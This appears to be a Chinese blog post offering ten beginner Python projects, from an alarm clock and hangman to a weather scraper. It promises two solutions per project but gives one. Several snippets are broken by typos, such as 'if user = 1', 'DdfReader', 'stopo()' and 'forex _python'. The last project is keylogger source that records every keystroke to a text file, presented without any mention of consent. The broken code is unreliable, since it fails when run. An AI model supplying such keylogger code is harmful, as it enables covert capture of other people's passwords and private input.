赞
踩
对于Python学习者来说,能够熟练的掌握Python中简洁而高效的编程技巧,不仅能够提升程序的效率,更重要的是体现出编程者高超的编程能力。
今天,小编就为大家分享十个Python的小案例,每个案例都有两种解决方法,第一种方法相对小白,第二种方法则是属于有经验的高手写法。案例虽小,但是却蕴含着Python编程的技巧,一起来看看吧。
1.闹钟
编写一个创建闹钟的Python脚本。
你可以使用date-time模块创建闹钟,以及playsound库播放声音。
- from datetime import datetime
- from playsound import playsound
- alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
- alarm_hour=alarm_time[0:2]
- alarm_minute=alarm_time[3:5]
- alarm_seconds=alarm_time[6:8]
- alarm_period = alarm_time[9:11].upper()
- print("Setting up alarm..")
- while True:
- now = datetime.now()
- current_hour = now.strftime("%I")
- current_minute = now.strftime("%M")
- current_seconds = now.strftime("%S")
- current_period = now.strftime("%p")
- if(alarm_period==current_period):
- if(alarm_hour==current_hour):
- if(alarm_minute==current_minute):
- if(alarm_seconds==current_seconds):
- print("Wake Up!")
- playsound('audio.mp3') ## download the alarm sound from link
- break
2.文字冒险游戏
编写一个有趣的Python脚本,通过为路径选择不同的选项让用户进行有趣的冒险。
- name = str( input("Enter Your Mame\n"))
- print(f"{name} you are stuck in a forest.Your task is to get out from the forest withoutdieing")
- print("You are walking threw forest and suddenly a wolf comes in your way.Now Youoptions.")
- print("1.Run 2. climb The Nearest Tree ")
- user = int(input("choose one option 1 or 2"))
- if user = 1:
- print("You Died!!")
- elif user = 2:
- print("You Survived!!")
- else:
- print("Incorrect Input")
- #### Add a loop and increase the story as much as you can
3.有声读物
编写一个Python脚本,用于将Pdf文件转换为有声读物。
借助pyttsx3库将文本转换为语音。
要安装的模块:
- pyttsx3
- PyPDF2
- import pyttsx3,PyPDF2
- DdfReader = pyPDF2.PdfFileReader(open( "file.pdf',"rb'))
- speaker = pyttsx3.init()
- for page_num in range(pdfReader.numPages):
- text =pdfReader.getPage(page_num).extractText()
- speaker.say(text)
- speaker.runAndwait()
- speaker.stopo()
4.货币换算器
编写一个Python脚本,可以将一种货币转换为其他用户选择的货币。
使用Python中的API,或者通过forex-python模块来获取实时的货币汇率。
安装:forex-python
- from forex _python.converter import CurrencyRatesc = CurrencyRates()
- amount = int(input("Enter The Amount You Want To Convert\n"))
- from_currency = input( "From\n" )-upper()
- to_currency = input( "To\n").upper()
- print(from_currency,"To",to_currency , amount)
- result = c.convert(from_currency, to_currency, amount)
- print(result)
5.天气应用
编写一个Python脚本,接收城市名称并使用爬虫获取该城市的天气信息。
你可以使用Beautifulsoup和requests库直接从谷歌主页爬取数据。
安装:
- requests
- BeautifulSoup
- from bs4 import BeautifulSoup
- import requests
- headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
-
- def weather(city):
- city=city.replace(" ","+")
- res = requests.get(f'https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8',headers=headers)
- print("Searching in google......\n")
- soup = BeautifulSoup(res.text,'html.parser')
- location = soup.select('#wob_loc')[0].getText().strip()
- time = soup.select('#wob_dts')[0].getText().strip()
- info = soup.select('#wob_dc')[0].getText().strip()
- weather = soup.select('#wob_tm')[0].getText().strip()
- print(location)
- print(time)
- print(info)
- print(weather+"°C")
-
- print("enter the city name")
- city=input()
- city=city+" weather"
- weather(city)
6.人脸检测
编写一个Python脚本,可以检测图像中的人脸,并将所有的人脸保存在一个文件夹中。
可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息,可以保存在一个文件中。
安装:
OpenCV
下载:haarcascade_frontalface_default.xml
- import cv2
- # Load the cascade
- face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
- # Read the input image
- img = cv2.imread('images/img0.jpg')
- # Convert into grayscale
- gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
- # Detect faces
- faces = face_cascade.detectMultiScale(gray, 1.3, 4)
- # Draw rectangle around the faces
- for (x, y, w, h) in faces:
- cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)
- crop_face = img[y:y + h, x:x + w]
- cv2.imwrite(str(w) + str(h) + '_faces.jpg', crop_face)
- # Display the output
- cv2.imshow('img', img)
- cv2.imshow("imgcropped",crop_face)
- cv2.waitKey()
7.提醒应用
创建一个提醒应用程序,在特定的时间提醒你做一些事情(桌面通知)。
Time模块可以用来跟踪提醒时间,toastnotifier库可以用来显示桌面通知。
安装:win10toast
- from win10toast import ToastNotifier
- import time
- toaster = ToastNotifier()
- try:
- print("Title of reminder")
- header = input()
- print("Message of reminder")
- text = input()
- print("In how many minutes?")
- time_min = input()
- time_min=float(time_min)
- except:
- header = input("Title of reminder\n")
- text = input("Message of remindar\n")
- time_min=float(input("In how many minutes?\n"))
- time_min = time_min * 60
- print("Setting up reminder..")
- time.sleep(2)
- print("all set!")
- time.sleep(time_min)
- toaster.show_toast(f"{header}",
- f"{text}",
- duration=10,
- threaded=True)
- while toaster.notification_active(): time.sleep(0.005)
8.Hangman
创建一个简单的命令行hangman游戏。
创建一个密码词的列表并随机选择一个单词。现在将每个单词用下划线“”表示,给用户提供猜单词的机会,如果用户猜对了单词,则将“”用单词替换。
- import time
- import random
- name = input("What is your name? ")
- print ("Hello, " + name, "Time to play hangman!")
- time.sleep(1)
- print ("Start guessing...\n")
- time.sleep(0.5)
- ## A List Of Secret Words
- words = ['python','programming','treasure','creative','medium','horror']
- word = random.choice(words)
- guesses = ''
- turns = 5
- while turns > 0:
- failed = 0
- for char in word:
- if char in guesses:
- print (char,end="")
- else:
- print ("_",end=""),
- failed += 1
- if failed == 0:
- print ("\nYou won")
- break
- guess = input("\nguess a character:")
- guesses += guess
- if guess not in word:
- turns -= 1
- print("\nWrong")
- print("\nYou have", + turns, 'more guesses')
- if turns == 0:
- print ("\nYou Lose")
9.文章朗读器
编写一个Python脚本,自动从提供的链接读取文章。
- import pyttsx3
- import requests
- from bs4 import BeautifulSoup
- url = str(input("Paste article url\n"))
-
- def content(url):
- res = requests.get(url)
- soup = BeautifulSoup(res.text,'html.parser')
- articles = []
- for i in range(len(soup.select('.p'))):
- article = soup.select('.p')[i].getText().strip()
- articles.append(article)
- contents = " ".join(articles)
- return contents
- engine = pyttsx3.init('sapi5')
- voices = engine.getProperty('voices')
- engine.setProperty('voice', voices[0].id)
-
- def speak(audio):
- engine.say(audio)
- engine.runAndWait()
-
- contents = content(url)
- ## print(contents) ## In case you want to see the content
-
- #engine.save_to_file
- #engine.runAndWait() ## In case if you want to save the article as a audio file
10、键盘记录器
编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。
pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于制作键盘记录器。简单地读取用户按下的键,并在一定数量的键后将它们保存在一个文本文件中。
- from pynput.keyboard import Key, Controller,Listener
- import time
- keyboard = Controller()
-
-
- keys=[]
- def on_press(key):
- global keys
- #keys.append(str(key).replace("'",""))
- string = str(key).replace("'","")
- keys.append(string)
- main_string = "".join(keys)
- print(main_string)
- if len(main_string)>15:
- with open('keys.txt', 'a') as f:
- f.write(main_string)
- keys= []
- def on_release(key):
- if key == Key.esc:
- return False
-
- with listener(on_press=on_press,on_release=on_release) as listener:
- listener.join()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。